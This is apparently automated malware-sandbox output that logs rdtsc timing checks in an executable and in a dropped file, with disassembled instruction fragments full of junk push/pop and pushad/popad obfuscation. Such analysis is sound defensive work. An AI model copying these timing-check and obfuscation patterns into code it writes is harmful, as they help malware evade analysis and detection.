Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5093C second address: 4C509FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 03CD5BB0h 0x00000008 mov edi, 3DA482DCh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000017 jmp 00007F5BB112B65Bh 0x0000001c mov eax, ebx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F5BB112B664h 0x00000025 jmp 00007F5BB112B665h 0x0000002a popfd 0x0000002b mov ch, F4h 0x0000002d popad 0x0000002e mov ecx, dword ptr [ebp-10h] 0x00000031 pushad 0x00000032 mov bx, 6B9Ch 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F5BB112B65Bh 0x0000003d or ecx, 5E16FD1Eh 0x00000043 jmp 00007F5BB112B669h 0x00000048 popfd 0x00000049 mov ah, 9Eh 0x0000004b popad 0x0000004c popad 0x0000004d mov dword ptr fs:[00000000h], ecx 0x00000054 jmp 00007F5BB112B663h 0x00000059 pop ecx 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F5BB112B665h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C509FA second address: 4C50A00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50A00 second address: 4C50A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50A04 second address: 4C50ADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c pushad 0x0000000d call 00007F5BB0EE6E24h 0x00000012 pushfd 0x00000013 jmp 00007F5BB0EE6E22h 0x00000018 jmp 00007F5BB0EE6E25h 0x0000001d popfd 0x0000001e pop eax 0x0000001f pushad 0x00000020 call 00007F5BB0EE6E27h 0x00000025 pop esi 0x00000026 pushfd 0x00000027 jmp 00007F5BB0EE6E29h 0x0000002c sbb al, 00000036h 0x0000002f jmp 00007F5BB0EE6E21h 0x00000034 popfd 0x00000035 popad 0x00000036 popad 0x00000037 pop esi 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F5BB0EE6E23h 0x00000041 sub ch, 0000006Eh 0x00000044 jmp 00007F5BB0EE6E29h 0x00000049 popfd 0x0000004a push ecx 0x0000004b pop edi 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50ADF second address: 4C50AE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50AE5 second address: 4C50B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007F5BB0EE6E27h 0x00000012 and ax, 122Eh 0x00000017 jmp 00007F5BB0EE6E29h 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50B28 second address: 4C5061E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B660h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a movzx ecx, dx 0x0000000d movsx edi, cx 0x00000010 popad 0x00000011 popad 0x00000012 leave 0x00000013 jmp 00007F5BB112B664h 0x00000018 retn 0008h 0x0000001b cmp dword ptr [ebp-2Ch], 10h 0x0000001f mov eax, dword ptr [ebp-40h] 0x00000022 jnc 00007F5BB112B655h 0x00000024 push eax 0x00000025 lea edx, dword ptr [ebp-00000590h] 0x0000002b push edx 0x0000002c call esi 0x0000002e push 00000008h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 movzx eax, di 0x00000036 call 00007F5BB112B665h 0x0000003b pop esi 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50C8E second address: 4C50CB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5BB0EE6E1Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50CB7 second address: 4C50CBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50CBD second address: 4C50D11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5BB0EE6E1Ch 0x00000009 and si, E9C8h 0x0000000e jmp 00007F5BB0EE6E1Bh 0x00000013 popfd 0x00000014 mov eax, 63CD433Fh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F5BB0EE6E1Eh 0x00000026 sub eax, 07CAEC28h 0x0000002c jmp 00007F5BB0EE6E1Bh 0x00000031 popfd 0x00000032 mov esi, 022D4D1Fh 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50D11 second address: 4C50D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B660h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50D25 second address: 4C50D29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50D29 second address: 4C50D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5BB112B65Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50D3E second address: 4C50D66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5BB0EE6E25h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50D66 second address: 4C50D84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, 38DEh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EAF740 second address: EAF750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 jo 00007F5BB0EE6E16h 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC1034 second address: EC1055 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5BB112B656h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F5BB112B661h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC1055 second address: EC1059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC1059 second address: EC1092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B661h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F5BB112B661h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jo 00007F5BB112B65Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC1092 second address: EC1096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC1611 second address: EC1621 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5BB112B662h 0x00000008 jng 00007F5BB112B656h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC1621 second address: EC1629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC1629 second address: EC1633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5BB112B656h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC1633 second address: EC165E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E29h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F5BB0EE6E18h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC5480 second address: EC54DB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F5BB112B658h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 jmp 00007F5BB112B668h 0x00000028 mov dword ptr [ebp+122D2FB6h], eax 0x0000002e push 00000000h 0x00000030 or dword ptr [ebp+122D306Eh], ecx 0x00000036 push 2C068826h 0x0000003b push edx 0x0000003c push esi 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC54DB second address: EC5591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 xor dword ptr [esp], 2C0688A6h 0x0000000d cld 0x0000000e sub esi, 713B0F01h 0x00000014 push 00000003h 0x00000016 movsx ecx, cx 0x00000019 push 00000000h 0x0000001b mov ecx, 450099D3h 0x00000020 push 00000003h 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007F5BB0EE6E18h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c mov ch, bl 0x0000003e push E0969587h 0x00000043 jmp 00007F5BB0EE6E29h 0x00000048 xor dword ptr [esp], 20969587h 0x0000004f mov esi, dword ptr [ebp+122D3BA8h] 0x00000055 jl 00007F5BB0EE6E18h 0x0000005b lea ebx, dword ptr [ebp+1244A383h] 0x00000061 cmc 0x00000062 xchg eax, ebx 0x00000063 push ebx 0x00000064 pushad 0x00000065 jmp 00007F5BB0EE6E1Fh 0x0000006a pushad 0x0000006b popad 0x0000006c popad 0x0000006d pop ebx 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 jns 00007F5BB0EE6E2Ah 0x00000077 jmp 00007F5BB0EE6E24h 0x0000007c rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC565A second address: EC5664 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC5664 second address: EC5668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC5734 second address: EC573F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F5BB112B656h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC573F second address: EC5760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D37F7h], ecx 0x0000000e push 00000000h 0x00000010 mov di, bx 0x00000013 call 00007F5BB0EE6E19h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC5760 second address: EC5779 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5BB112B660h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC5779 second address: EC579D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F5BB0EE6E28h 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EC579D second address: EC57BE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b ja 00007F5BB112B660h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jng 00007F5BB112B656h 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE36CE second address: EE36EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F5BB0EE6E1Ch 0x00000011 jp 00007F5BB0EE6E16h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE386A second address: EE3870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE3870 second address: EE3892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a ja 00007F5BB0EE6E16h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop edi 0x00000013 jmp 00007F5BB0EE6E1Fh 0x00000018 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE3D14 second address: EE3D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B65Ah 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE3D24 second address: EE3D28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE3D28 second address: EE3D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5BB112B656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F5BB112B66Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE3D40 second address: EE3D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE4037 second address: EE4045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE4045 second address: EE404B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE404B second address: EE4061 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5BB112B65Ch 0x00000008 jo 00007F5BB112B670h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE444B second address: EE4453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE4453 second address: EE4458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE4712 second address: EE4726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jmp 00007F5BB0EE6E1Ah 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE4726 second address: EE472C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: ED845D second address: ED8461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE510D second address: EE5117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE5117 second address: EE512C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE555C second address: EE5584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB112B665h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F5BB112B658h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE5584 second address: EE558E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5BB0EE6E16h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE558E second address: EE55A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE9B69 second address: EE9B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EE9B6D second address: EE9B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EEAEB7 second address: EEAEC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EECBD1 second address: EECC0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B65Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F5BB112B658h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jp 00007F5BB112B67Bh 0x00000018 pushad 0x00000019 je 00007F5BB112B656h 0x0000001f jmp 00007F5BB112B667h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EADBDB second address: EADBE1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EADBE1 second address: EADBFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B669h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EADBFE second address: EADC02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EADC02 second address: EADC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a js 00007F5BB112B656h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF1BAD second address: EF1BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF1BBA second address: EF1BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF1BBE second address: EF1BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF1E6E second address: EF1E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF1E72 second address: EF1E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E28h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF3E86 second address: EF3E90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF3E90 second address: EF3E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF3E94 second address: EF3F35 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5BB112B656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 092158BCh 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F5BB112B658h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c call 00007F5BB112B659h 0x00000031 jp 00007F5BB112B65Ah 0x00000037 push eax 0x00000038 jmp 00007F5BB112B65Dh 0x0000003d mov eax, dword ptr [esp+04h] 0x00000041 jnl 00007F5BB112B66Ch 0x00000047 mov eax, dword ptr [eax] 0x00000049 push ecx 0x0000004a jmp 00007F5BB112B669h 0x0000004f pop ecx 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 push eax 0x00000055 push edx 0x00000056 js 00007F5BB112B65Ch 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF3F35 second address: EF3F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF4314 second address: EF431C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF43F7 second address: EF43FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF6499 second address: EF64C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5BB112B65Ch 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5BB112B664h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	RDTSC instruction interceptor: First address: EF64C8 second address: EF64CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
